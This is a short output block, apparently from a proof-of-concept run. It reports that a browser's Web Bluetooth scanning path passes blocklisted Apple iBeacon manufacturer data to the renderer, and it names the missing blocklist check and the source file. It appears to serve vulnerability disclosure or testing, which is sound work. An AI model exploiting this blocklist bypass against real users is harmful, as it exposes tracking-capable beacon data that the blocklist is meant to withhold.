=======================================

[!] VULNERABILITY CONFIRMED
    Renderer received blocklisted manufacturer data:
      companyId      = 0x004c (Apple)
      data prefix    = 0x02 (matches blocklist entry {0x02, 0xff})
      proximity UUID = e2 c5 6d b5 df fb 48 d2 b0 60 d0 f5 a7 10 96 e0
      raw bytes      = 02 15 e2 c5 6d b5 df fb 48 d2 b0 60 d0 f5 a7 10 96 e0 00 01 00 02 c5

    BluetoothBlocklist::IsExcluded(0x004c, <0x02 ...>) returns true,
    but ScanningClient::SendEvent never consults the blocklist on the
    RequestScanningStart path (content/browser/bluetooth/advertisement_client.cc).
